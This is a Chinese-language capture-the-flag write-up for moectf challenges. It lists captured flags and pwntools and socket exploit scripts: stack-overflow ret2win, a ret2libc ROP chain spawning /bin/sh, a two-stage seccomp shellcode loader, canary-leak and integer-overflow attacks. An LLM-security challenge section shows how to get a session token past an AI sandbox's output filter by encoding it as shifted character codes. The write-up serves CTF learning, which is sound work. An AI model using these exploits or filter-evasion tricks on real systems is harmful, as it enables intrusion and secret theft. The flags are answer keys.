从此开始 1 签到 我做的时候还是各自定制flag的,后面来的就没有那个待遇了
1 moectf{welcome-to-moectf-2026 }
2-1 如何连接在线环境? 直接打开就有了
1 moectf{USiNG_WsRx_we-C4N_cOnnect_Th3-3NViRONMeNt4333 }
2-2 如何使用 nc 连接环境? 连接成功后直接输那两段就行
1 moectf{w0WWw-you_cAN-USE-NC4T19a8860c66 }
2-3 如何使用 ssh 连接环境? 这玩意我队长手把手教过我,包得会啊
1 moectf{NOw-y0u_KNOw_How_to_CoNN3cT-4_SERv3r_bY-usiNg_ssh5 }
3-1 C语言环境配置与基础语法 C语言入门最大的笑话
1 moectf{c-is -a-fast-and-high-level-language }
3-2 Python环境配置与基础语法 直接跑就行
3-4 命令提示符 双击打不开我不能直接命令行嘛
1 moectf{cmd-i5-a-useful-c0mmand-t0o1-iN-wiNdows-Systems }
3-5 Linux虚拟环境安装与基础命令
1 moectf{l1nux_15_50_3Asy}
大语言模型应用安全 代码面试官 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 ;(function ( ) { try { const onMessage = ({ data } ) => { if (!data.wappalyzer || !data.wappalyzer .technologies ) { return } const { technologies } = data.wappalyzer postMessage ({ wappalyzer : { js : technologies.reduce ((technologies, { name, chains } ) => { if (chains) { chains.forEach ((chain, index ) => { const value = chain .split ('.' ) .reduce ( (value, method ) => value && value instanceof Object && Object .prototype .hasOwnProperty .call (value, method) ? value[method] : '__UNDEFINED__' , window ) if (value !== '__UNDEFINED__' ) { technologies.push ({ name, chain, value : typeof value === 'string' || typeof value === 'number' ? value : !!value, }) } }) } return technologies }, []), }, }) } addEventListener ('message' , onMessage, { once : true }) } catch (e) { } })()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 ;(function ( ) { try { const onMessage = ({ data } ) => { if (!data.wappalyzer || !data.wappalyzer .technologies ) { return } const { technologies } = data.wappalyzer const toScalar = (value ) => typeof value === 'string' || typeof value === 'number' ? value : !!value removeEventListener ('message' , onMessage) postMessage ({ wappalyzer : { dom : technologies.reduce ((technologies, { name, dom } ) => { try { Object .keys (dom).forEach ((selector ) => { let nodes = [] try { nodes = document .querySelectorAll (selector) } catch (error) { } if (!nodes.length ) { return } nodes.forEach ((node ) => { dom[selector].forEach (({ properties } ) => { if (properties) { Object .keys (properties).forEach ((property ) => { if ( Object .prototype .hasOwnProperty .call (node, property) ) { const value = node[property] if (typeof value !== 'undefined' ) { technologies.push ({ name, selector, property, value : toScalar (value), }) } } }) } }) }) }) } catch (error) { } return technologies }, []), }, }) } addEventListener ('message' , onMessage) } catch (e) { } })()
前端源码里能看到它只负责三个接口:
api/init,初始化身份
api/execute,执行 Python 代码
api/submit_flag,提交答案
题目已经明确说了,模拟器环境里预加载了变量 SESSION_TOKEN,目标就是把它拿出来。但直接输出很可能会被审查机制拦掉
前端源码说明,代码执行结果是从后端返回的 output 字段显示出来的。也就是说,只要让后端“看到的不是明文 token”就行
先输出每个字符的偏移值,再本地还原。
不要直接写 SESSION_TOKEN,可以拼出来:
Text 1 2 3 4 name = ''.join(map(chr, [83,69,83,83,73,79,78,95,84,79,75,69,78])) value = vars()[name] for i, ch in enumerate(value): print(i, ord(ch) + 1337)
页面返回的是一串数字,比如:
Text 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 0 1446 1 1448 2 1438 3 1436 4 1453 5 1439 6 1460 7 1390 8 1421 9 1406 10 1402 11 1413 12 1432 13 1410 14 1447 15 1407 16 1385 17 1382 18 1442 19 1415 20 1432 21 1417 22 1451 23 1416 24 1414 25 1417 26 1453 27 1388 28 1394 29 1386 30 1439 31 1462
把每个数字减去 1337,再转回字符即可
Text 1 2 nums = [1446,1448,1438,1436,1453,1439,1460,1390,1421,1406,1402,1413,1432,1410,1447,1407,1385,1382,1442,1415,1432,1417,1451,1416,1414,1417,1453,1388,1394,1386,1439,1462] print(''.join(chr(n - 1337) for n in nums))
得到最终 token
Text 1 moectf{5TEAL_InF0-iN_PrOMPt391f}
二进制漏洞审计 Pwn入门指北 反编译后看到密码和Secret Code,直接交互就行
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *context(os="linux" , arch="amd64" , log_level="debug" ) io = remote("127.0.0.1" , 5123 ) io.recvuntil(b"Hello,my friend.Please enter the password to begin" ) io.sendline(b"2147483647" ) io.sendafter(b"Input your answer:" , b"Welcometomoectf2026pwn\n" ) io.interactive()
1 moectf{W31c0m3_70_The_Pwn_w0r1d_4nd_3nJoY_Yourself!!!}
走后门 经典的栈溢出
分析主函数得到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ssize_t vuln () { int v1; _BYTE buf[64 ]; puts (aMaybeIfYouGive); puts ("So how many do you want to give?" ); __isoc99_scanf("%d" , &v1); puts ("Now plz give it to me" ); if ( v1 <= 0 ) { puts ("Don't get cute with me and I am not the genie." ); exit (0 ); } return read (0 , buf, v1); }
接着找到后门
计算偏移量,填充 72 字节后,接下来的 8 字节就是返回地址。填充 72 字节后,接下来的 8 字节就是返回地址。
注意还要栈对齐
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import *BINARY = r"...\pwn" HOST = "127.0.0.1" PORT = 7681 context(arch='amd64' , os='linux' , log_level='debug' ) elf = ELF(BINARY) rop = ROP(elf) ret_addr = rop.ret.address log.success(f"Auto-found ret gadget: {hex (ret_addr)} " ) backdoor_addr = elf.symbols['backdoor' ] log.success(f"backdoor address: {hex (backdoor_addr)} " ) offset = 64 + 8 payload = b'A' * offset + p64(ret_addr) + p64(backdoor_addr) p = remote(HOST, PORT) p.recvuntil(b"So how many do you want to give?" ) p.sendline(str (len (payload)).encode()) p.recvuntil(b"Now plz give it to me" ) p.send(payload) p.interactive()
1 moectf{Y0u_G4v3_3n0ugh_4nd_Ret_2_TEXT_5ucessfu11y}
Hello-World01 反编译后看到main函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 int __fastcall main (int argc, const char **argv, const char **envp) { char buf[32 ]; init (argc, argv, envp); puts ("Check your programming skill:" ); puts ("fill in the blank:" ); puts ("#include <stdio.h>" ); puts ("#include <stdlib.h>" ); puts (&byte_402081); puts ("int main(){" ); puts (" _______ (\"Hello World!\");" ); puts (" return 0;" ); puts ("}" ); puts ("Your answer:" ); read (0 , buf, 0x1Fu ); buf[strcspn (buf, "\n" )] = 0 ; if ( !strcmp (buf, "puts" ) ) { printf ("This function seems to be unsafe,right? %p\n" , &puts); } else if ( !strcmp (buf, "printf" ) ) { printf ("This function seems to be unsafe,right? %p\n" , &printf); } else { puts ("Go and learn more about C and libc" ); } vuln (); return 0 ; }
接着找到vuln(),栈溢出
1 2 3 4 5 6 7 ssize_t vuln() { _BYTE buf[64 ]; // [rsp+0h] [rbp-40h] BYREF puts("Now show me your real pwn skill:" ); return read(0 , buf, 0xC8u); }
1 2 3 4 5 6 7 8 9 ┌──────────────────────────────────────────────────────┐ │ Step 1 : 输入 "puts" → 泄露 puts 地址 │ │ Step 2 : 计算 libc_base = puts_addr - offset_puts │ │ Step 3 : 计算 system、/bin /sh 地址 │ │ Step 4 : 进入 vuln(),发送溢出 payload │ │ padding(72B) + ret + pop_rdi + /bin /sh │ │ + system │ │ Step 5 : 获得 shell │ └──────────────────────────────────────────────────────┘
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 from pwn import *context.arch = 'amd64' context.log_level = 'info' elf_path = r'C:\Users\35188\Desktop\CTF\helloworld\helloworld\pwn' libc_path = r'C:\Users\35188\Desktop\CTF\helloworld\helloworld\libc.so.6' elf = ELF(elf_path) libc = ELF(libc_path) io = remote('127.0.0.1' , 49964 ) io.sendlineafter(b'Your answer:\n' , b'puts' ) io.recvuntil(b'right? ' ) puts_addr = int (io.recvline().strip(), 16 ) log.success(f'puts @ {hex (puts_addr)} ' ) libc_base = puts_addr - libc.sym['puts' ] log.success(f'libc base @ {hex (libc_base)} ' ) system_addr = libc_base + libc.sym['system' ] bin_sh_addr = libc_base + next (libc.search(b'/bin/sh' )) rop_elf = ROP(elf) rop_libc = ROP(libc) try : pop_rdi = rop_elf.find_gadget(['pop rdi' , 'ret' ])[0 ] log.success(f'pop rdi; ret (ELF) @ {hex (pop_rdi)} ' ) except : pop_rdi = rop_libc.find_gadget(['pop rdi' , 'ret' ])[0 ] + libc_base log.warning(f'pop rdi; ret (libc) @ {hex (pop_rdi)} ' ) try : ret = rop_elf.find_gadget(['ret' ])[0 ] log.success(f'ret gadget (ELF) @ {hex (ret)} ' ) except : ret = rop_libc.find_gadget(['ret' ])[0 ] + libc_base log.warning(f'ret gadget (libc) @ {hex (ret)} ' ) offset = 0x40 + 8 payload = flat([ b'A' * offset, ret, pop_rdi, bin_sh_addr, system_addr ]) io.sendlineafter(b'Now show me your real pwn skill:\n' , payload) log.success('Payload sent!' ) io.interactive()
1 moectf{Us3_Address_To_R3Turn_70_LIBC_1S_a_W0nD3RFu1_Ski11}
ezpwn01 在浏览器中用 pwntools 生成 shellcode,运行后读取 /flag
1 2 3 from pwn import *context(arch='amd64' , os='linux' ) payload = asm(shellcraft.sh())
窥探一手后台怎么写的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 import asyncioimport base64import hashlibimport osimport signalimport structimport httpxfrom fastapi import FastAPI, WebSocket, WebSocketDisconnectfrom fastapi.responses import FileResponsefrom fastapi.staticfiles import StaticFilesBASE_DIR = os.path.dirname(os.path.abspath(__file__)) STATIC_DIR = os.path.join(BASE_DIR, "static" ) RUNNER_URL = os.getenv("RUNNER_URL" , "http://127.0.0.1:9000/build" ) CHALL_PATH = os.getenv("CHALL_PATH" , "/opt/challenge/chall" ) CHALL_TIMEOUT = float (os.getenv("CHALL_TIMEOUT" , "120" )) app = FastAPI() app.mount("/static" , StaticFiles(directory=STATIC_DIR), name="static" ) @app.get("/" ) async def index () -> FileResponse: return FileResponse(os.path.join(STATIC_DIR, "index.html" )) async def stop_process (proc: asyncio.subprocess.Process | None ) -> None : if proc is None or proc.returncode is not None : return try : proc.terminate() await asyncio.wait_for(proc.wait(), timeout=1 ) except asyncio.TimeoutError: proc.kill() await proc.wait() except ProcessLookupError: pass async def stream_output (send_json, proc: asyncio.subprocess.Process ) -> None : try : while True : chunk = await proc.stdout.read(1024 ) if not chunk: break await send_json( { "type" : "output" , "data_b64" : base64.b64encode(chunk).decode("ascii" ), } ) returncode = await proc.wait() await send_json( { "type" : "status" , "level" : "info" , "message" : f"chall exited with code {returncode} " , } ) except Exception: pass async def enforce_timeout (send_json, proc: asyncio.subprocess.Process ) -> None : try : await asyncio.sleep(CHALL_TIMEOUT) if proc.returncode is None : try : os.killpg(os.getpgid(proc.pid), signal.SIGKILL) except ProcessLookupError: pass await send_json( { "type" : "status" , "level" : "warn" , "message" : "chall timed out and was stopped" , } ) except Exception: pass async def build_payload (code: str ) -> dict [str , object ]: async with httpx.AsyncClient(timeout=8 ) as client: resp = await client.post(RUNNER_URL, json={"code" : code}) if resp.status_code != 200 : detail = resp.text try : detail = resp.json().get("detail" , detail) except Exception: pass raise RuntimeError(str (detail)) return resp.json() async def start_chall (payload: bytes ) -> asyncio.subprocess.Process: proc = await asyncio.create_subprocess_exec( CHALL_PATH, stdin=asyncio.subprocess.PIPE, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.STDOUT, preexec_fn=os.setsid, ) proc.stdin.write(struct.pack("<I" , len (payload)) + payload) await proc.stdin.drain() return proc @app.websocket("/ws" ) async def websocket_endpoint (websocket: WebSocket ) -> None : await websocket.accept() proc: asyncio.subprocess.Process | None = None output_task: asyncio.Task | None = None timeout_task: asyncio.Task | None = None send_lock = asyncio.Lock() async def send_json (message: dict [str , object ] ) -> None : async with send_lock: await websocket.send_json(message) async def cleanup () -> None : nonlocal proc, output_task, timeout_task for task in (output_task, timeout_task): if task and not task.done(): task.cancel() try : await task except asyncio.CancelledError: pass if proc and proc.returncode is None : try : os.killpg(os.getpgid(proc.pid), signal.SIGTERM) except ProcessLookupError: pass await stop_process(proc) proc = None output_task = None timeout_task = None try : while True : message = await websocket.receive_json() msg_type = message.get("type" ) if msg_type == "run" : await cleanup() code = message.get("code" , "" ) await send_json( { "type" : "status" , "level" : "info" , "message" : "building payload with pwntools..." , } ) try : result = await build_payload(code) payload = base64.b64decode(result["payload_b64" ], validate=True ) except Exception as exc: await send_json( { "type" : "error" , "message" : str (exc), } ) continue digest = hashlib.sha256(payload).hexdigest()[:16 ] await send_json( { "type" : "meta" , "payload_len" : len (payload), "sha256" : digest, "runner_log" : result.get("runner_log" , "" ), } ) try : proc = await start_chall(payload) except Exception as exc: await send_json( { "type" : "error" , "message" : f"failed to start chall: {exc} " , } ) continue output_task = asyncio.create_task(stream_output(send_json, proc)) timeout_task = asyncio.create_task(enforce_timeout(send_json, proc)) elif msg_type == "stdin" : if proc is None or proc.stdin is None or proc.returncode is not None : await send_json( { "type" : "status" , "level" : "warn" , "message" : "chall is not running" , } ) continue try : data = base64.b64decode(message.get("data_b64" , "" ), validate=True ) proc.stdin.write(data) await proc.stdin.drain() except Exception as exc: await send_json( { "type" : "status" , "level" : "warn" , "message" : f"stdin write failed: {exc} " , } ) elif msg_type == "restart" : await cleanup() await send_json( { "type" : "status" , "level" : "info" , "message" : "chall stopped" , } ) else : await send_json( { "type" : "status" , "level" : "warn" , "message" : "unknown message type" , } ) except WebSocketDisconnect: pass finally : await cleanup()
直接cat就行
1 moectf{ceaec6b2-7534 -2d07-413b-2cfabb11e2e6}
ezpwn02 题目分析 程序流程很直接:
先读入 4 字节长度 buf
mmap 一块可执行内存
再读入 buf 字节的 stage1
检查 stage1 是否包含 badchars
安装 seccomp,只允许 read / write / openat / exit
直接执行 stage1
题目给的限制是:
所以本题本质是:
用一段很短的 shellcode 做 loader
再用第二段 shellcode 读 flag
关键点 main 里最后是 v4(v4),也就是把 mmap 返回地址当成函数指针直接执行。
这说明 stage1 可以把 stage2 读到别的地址,再跳过去执行,避免把自己覆盖掉。
Stage1 stage1 只做一件事:
把 stage2 读到 rdi + 0x30
跳到 rsi 执行
1 2 3 4 5 6 lea rsi, [rdi + 0x30 ] xor edi, edi xor eax, eax mov dl, 0xff syscall jmp rsi
Stage2 seccomp 只留了 openat/read/write/exit,所以直接走经典链:
openat(AT_FDCWD, "flag", O_RDONLY, 0)
read(fd, buf, 0x80)
write(1, buf, n)
exit(0)
由于 badchars 只检查 stage1,stage2 可以正常使用字符串和 0 字节。
本题本地环境里用的是相对路径 flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 import socketimport structHOST = "127.0.0.1" PORT = 36628 def build_stage1 (): sc = bytes ([ 0x48 , 0x8d , 0x77 , 0x30 , 0x31 , 0xff , 0x31 , 0xc0 , 0xb2 , 0xff , 0x0f , 0x05 , 0xff , 0xe6 , ]) bad = {0x00 , 0x0a , 0x20 , 0x2f , 0x66 , 0x6c , 0x61 , 0x67 } assert len (sc) <= 40 assert all (b not in bad for b in sc) return sc def build_stage2 (): sc = bytearray () sc += b"\x31\xd2" sc += b"\x52" sc += b"\x48\xbb\x66\x6c\x61\x67\x00\x00\x00\x00" sc += b"\x53" sc += b"\x48\x89\xe6" sc += b"\x6a\x9c" sc += b"\x5f" sc += b"\x31\xd2" sc += b"\x66\xb8\x01\x01" sc += b"\x0f\x05" sc += b"\x89\xc7" sc += b"\x48\x89\xe6" sc += b"\x31\xd2" sc += b"\xb2\x80" sc += b"\x31\xc0" sc += b"\x0f\x05" sc += b"\x89\xc2" sc += b"\x6a\x01" sc += b"\x5f" sc += b"\x6a\x01" sc += b"\x58" sc += b"\x0f\x05" sc += b"\x6a\x3c" sc += b"\x58" sc += b"\x31\xff" sc += b"\x0f\x05" return bytes (sc) def main (): stage1 = build_stage1() stage2 = build_stage2() payload = struct.pack("<I" , len (stage1)) + stage1 + stage2 with socket.create_connection((HOST, PORT)) as s: banner = s.recv(4096 ) print (banner.decode(errors="replace" ), end="" ) s.sendall(payload) try : while True : data = s.recv(4096 ) if not data: break print (data.decode(errors="replace" ), end="" ) except OSError: pass if __name__ == "__main__" : main()
1 moectf{b052c225-277a-ee86-69de-c8d0eb131508}
omg电台出问题了 附件是一个静态链接的 ELF64 程序 radio_relay。主流程大致是:
读 1 字节长度 len
读入 len 字节密文
对输入做一次 strlen 检查,要求结果 <= 0x20
再把整段 len 字节 memcpy 到栈上
最后间接调用一个栈上的函数指针
关键点在于:
反汇编里可见隐藏的修复函数地址是 0x40182a,也就是 repair_complete。把函数指针覆盖成它即可读 /flag。
1 2 len = 0x48 data = b"A" * 32 + b"\x00" + b"B" * 31 + p64(0x40182a )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 import socketimport structimport sysHOST = sys.argv[1 ] if len (sys.argv) > 1 else "127.0.0.1" PORT = int (sys.argv[2 ]) if len (sys.argv) > 2 else 48135 TARGET = 0x40182A def recv_until (sock, marker: bytes ) -> bytes : data = b"" while marker not in data: chunk = sock.recv(4096 ) if not chunk: break data += chunk return data def main (): payload = b"A" * 32 + b"\x00" + b"B" * 31 + struct.pack("<Q" , TARGET) msg = bytes ([0x48 ]) + payload with socket.create_connection((HOST, PORT)) as s: s.settimeout(2 ) banner = recv_until(s, b"Enter repair ciphertext:" ) if banner: print (banner.decode("latin1" , errors="replace" )) s.sendall(msg) out = b"" while True : try : chunk = s.recv(4096 ) if not chunk: break out += chunk except TimeoutError: break except OSError: break if out: print (out.decode("latin1" , errors="replace" )) if __name__ == "__main__" : main()
1 moectf{radio_repair_cipher_truncation}
灯神的愿望 目标程序是一个 64 位 PIE ELF,开启了 NX 和 RELRO,但题目本身没有复杂利用链,核心是一个整数边界问题。
main 里初始愿望数为 1。选择 1. Make more wishes 后会读入一个 int,逻辑大致是
1 2 3 4 5 6 7 scanf ("%d" , &n);if (n > 0 ) { puts ("Sorry, you can't increase wishes." ); exit (0 ); } wish_cnt = n; printf ("You can still make %u wishes!\n" , wish_cnt);
这里没有禁止负数。于是输入 -1 时,wish_cnt 被写成 -1,但后面按无符号数打印和比较时会变成 4294967295。
随后选择 3. Get flag,程序会检查
1 2 if (wish_cnt > 0x1bf51 ) win();
-1 回绕后远大于阈值,直接进入 win(),里面调用 system("/bin/sh")。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 import argparseimport socketimport sysimport timedef recv_all (sock, timeout=0.5 ): sock.settimeout(timeout) chunks = [] while True : try : data = sock.recv(4096 ) if not data: break chunks.append(data) except (TimeoutError, socket.timeout): break return b"" .join(chunks) def main (): parser = argparse.ArgumentParser(description="Genie's Wishes one-shot exploit" ) parser.add_argument("--host" , default="127.0.0.1" ) parser.add_argument("--port" , default=49319 , type =int ) parser.add_argument( "--cmd" , default="cat /app/flag" , help ="command to run after getting shell" , ) args = parser.parse_args() payload = ( b"1\n" b"-1\n" b"3\n" + args.cmd.encode() + b"\n" ) with socket.create_connection((args.host, args.port), timeout=3 ) as sock: banner = recv_all(sock, 0.3 ) sys.stdout.buffer.write(banner) sock.sendall(payload) time.sleep(0.4 ) out = recv_all(sock, 1.0 ) sys.stdout.buffer.write(out) if __name__ == "__main__" : main()
1 moectf{N0w_You_Kn0w_Num63r_0v3rflow_And_GET_3nd1eSS_W1SHES}
百万英镑 题目是一个很标准的“低字节校验失误 + 栈溢出”。
main 里先读入一个数字 n,然后调用 cheque_bytes(n):
1 2 3 cheque_bytes: mov rax, [rbp-0x8 ] shl eax, 0x3
这里本来想算 n * 8,但后面在 main 里只把结果存进了 al,再拿一个字节去比较:
1 2 mov BYTE PTR [rbp-0x9 ], al cmp BYTE PTR [rbp-0x9 ], 0x60
所以只要让 n * 8 的低字节 <= 0x60,检查就会过。
真正的读入长度却没截断,read_exact 用的是完整的 n * 8:
1 2 3 lea rdx, [rax*8 ] lea rax, [rbp-0x70 ] call read_exact
main 的缓冲区只有 0x70 字节,保存返回地址的位置在输入起点后 0x78 字节。
直接输入 32:
然后把返回地址改成 staff_room(),它内部已经准备好了 execve("/bin/sh", ...)。
为了栈对齐,前面再垫一个单独的 ret gadget:
ret = 0x401184
staff_room = 0x401394
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 import argparseimport socketimport structimport timeRET = 0x401184 STAFF_ROOM = 0x401394 PAYLOAD_LEN = 256 OFFSET_TO_RIP = 0x78 def recv_some (sock, timeout=0.5 ): sock.settimeout(timeout) chunks = [] while True : try : data = sock.recv(4096 ) except Exception: break if not data: break chunks.append(data) if len (data) < 4096 : break return b"" .join(chunks) def build_payload (): payload = b"A" * OFFSET_TO_RIP payload += struct.pack("<Q" , RET) payload += struct.pack("<Q" , STAFF_ROOM) return payload.ljust(PAYLOAD_LEN, b"B" ) def main (): parser = argparse.ArgumentParser(description="Million Pound one-shot exploit" ) parser.add_argument("--host" , default="127.0.0.1" ) parser.add_argument("--port" , type =int , default=48895 ) parser.add_argument( "--command" , default="cat flag* /flag* /home/*/flag* 2>/dev/null" , help ="command to run after getting a shell" , ) args = parser.parse_args() s = socket.create_connection((args.host, args.port), timeout=3 ) print (recv_some(s).decode("latin1" , "ignore" ), end="" ) s.sendall(b"32\n" + build_payload()) time.sleep(0.2 ) s.sendall((args.command + "\n" ).encode()) time.sleep(0.5 ) print (recv_some(s, timeout=1.0 ).decode("latin1" , "ignore" ), end="" ) if __name__ == "__main__" : main()
1 moectf{C0unt1ng_By_Byt3s_1s_N0t_C0unt1ng_Saf3ly}
校庆抽奖后台 lottery_debug 是 64 位 PIE ELF。二进制有 canary、NX、Full RELRO、PIE,并带有 IBT, SHSTK note。
1 2 3 4 5 /flag [trace] active record: %p :: 0x%016lx [lottery] Submit a two-byte little-endian claim packet length. [lottery] Send claim packet: [lottery] Jackpot awarded:
符号表没有 strip,关键函数偏移如下
1 2 3 4 5 6 read_exact 0x1269 stack_guard 0x12ee award_jackpot 0x1330 submit_claim 0x149a main 0x14f2 ret gadget 0x101a
main 开头会打印调试 trace:
1 2 3 4 5 call stack_guard mov rdx, rax lea rsi, [award_jackpot] lea rdi, ["[trace] active record: %p :: 0x%016lx\n" ] call printf
也就是说:
stack_guard() 本质上读 fs:0x28 并返回,所以泄露的值就是栈 canary。
随后程序读入 2 字节小端长度:
1 2 3 4 read_exact(&len , 2 ) if len == 0 or len > 0x100 : invalid submit_claim(len )
submit_claim 中的漏洞:
1 2 3 4 lea rax, [rbp-0x50 ] mov rsi, len mov rdi, rax call read_exact
但是该函数的 canary 位于 [rbp-0x8],所以从缓冲区起点到 canary 的距离是:
程序最多允许读 0x100 字节,因此可以覆盖:
1 buf -> canary -> saved rbp -> return address
award_jackpot() 会打开 /flag,读取内容并输出:
1 [lottery] Jackpot awarded: <flag>
所以利用方式是 ret2win。
从 trace 解析:
1 2 3 4 award_jackpot_addr = leak1 canary = leak2 pie_base = award_jackpot_addr - 0x1330 ret_gadget = pie_base + 0x101a
1 2 3 4 5 "A" * 0x48 + p64(canary) + "B" * 8 + p64(ret_gadget) + p64(award_jackpot_addr)
这里加一个单独 ret 是为了修正 x86-64 调用约定下的 16 字节栈对齐,让 award_jackpot() 里继续调用 open/read/write 时更稳定。
payload 长度为 0x68,先发送 2 字节小端长度,再发送 payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 import reimport socketimport structimport sysDEFAULT_HOST = "127.0.0.1" DEFAULT_PORT = 45972 DEFAULT_TRIES = 30 AWARD_JACKPOT_OFF = 0x1330 RET_GADGET_OFF = 0x101A def p16 (value ): return struct.pack("<H" , value & 0xFFFF ) def p64 (value ): return struct.pack("<Q" , value & 0xFFFFFFFFFFFFFFFF ) def recv_until (sock, marker, timeout=2.0 ): sock.settimeout(timeout) data = b"" while marker not in data: chunk = sock.recv(4096 ) if not chunk: break data += chunk return data def recv_all (sock, timeout=2.0 ): sock.settimeout(timeout) data = b"" while True : try : chunk = sock.recv(4096 ) except TimeoutError: break if not chunk: break data += chunk return data def build_payload (base, award_jackpot, canary ): ret = base + RET_GADGET_OFF payload = b"A" * 0x48 payload += p64(canary) payload += b"B" * 8 payload += p64(ret) payload += p64(award_jackpot) if not (0 < len (payload) <= 0x100 ): raise ValueError("payload length out of accepted range" ) return payload def attack_once (host, port ): sock = socket.create_connection((host, port), timeout=3.0 ) banner = recv_until(sock, b"Send claim packet:\n" ) leak = re.search( rb"active record: (0x[0-9a-fA-F]+) :: 0x([0-9a-fA-F]+)" , banner, ) if leak is None : sock.close() raise RuntimeError(f"failed to parse leak: {banner!r} " ) award_jackpot = int (leak.group(1 ), 16 ) canary = int (leak.group(2 ), 16 ) base = award_jackpot - AWARD_JACKPOT_OFF payload = build_payload(base, award_jackpot, canary) sock.sendall(p16(len (payload)) + payload) output = recv_all(sock) sock.close() return base, award_jackpot, canary, output def main (): host = sys.argv[1 ] if len (sys.argv) > 1 else DEFAULT_HOST port = int (sys.argv[2 ]) if len (sys.argv) > 2 else DEFAULT_PORT tries = int (sys.argv[3 ]) if len (sys.argv) > 3 else DEFAULT_TRIES for attempt in range (1 , tries + 1 ): try : base, award, canary, output = attack_once(host, port) except Exception as exc: print (f"[try {attempt:02d} ] error: {exc} " ) continue print ( f"[try {attempt:02d} ] base={base:#x} " f"award_jackpot={award:#x} canary={canary:#018x} " ) if output: print (output.decode(errors="replace" ), end="" ) flag = re.search(rb"(?:moectf|flag|ctf)\{[^}\r\n]+\}" , output, re.I) if flag: print (f"\n[+] flag: {flag.group(0 ).decode(errors='replace' )} " ) return 0 print ("[-] flag not found, try increasing retry count" ) return 1 if __name__ == "__main__" : raise SystemExit(main())
1 moectf{anniversary_lottery_debug_bypass}
开发与运维基础 运维入门指北 好教程,全是干货,干得我喝了几口水
1 moectf{w31c0m3-70-7h3-w0r1d-0f-d3v0p5 }
当 Nginx 不在家 登录ssh
题目强调“最原始、最硬核”的工具,所以先看系统里有没有 nc,返回/usr/bin/nc
监听3000 说每隔10秒,那不得监听,而且看3000返回的请求就是flag
其实你一直手动接收数据包也行,但是怕遗漏我就直接持续监听了
拼起来就行了
1 moectf{WEb_sERVER_pR0vlDe-REli4BIe_5ervIC3-F0r-TH3_WOR1d0 }
网站日志取证大师 如果哪个大神想用眼睛看的话建议用vscode打开,有颜色分类,看得清楚点
我选择直接上脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 from collections import Counterfrom pathlib import Pathimport reimport sysTARGET_ROUTE = "/wp-json/wp/v2/users/me" TARGET_IP = "185.177.72.68" def parse_line (line: str ): parts = line.rstrip("\n" ).split(" | " ) if len (parts) < 9 : return None user = parts[1 ].strip() time = parts[2 ].strip() host = parts[3 ].strip().strip('"' ) request = parts[4 ].strip().strip('"' ) status = parts[5 ].strip() ua_and_real_ip = parts[8 ].strip() match = re.match (r'^"(.*)"\s+"([^"]*)"$' , ua_and_real_ip) if match : user_agent = match .group(1 ) real_ip = match .group(2 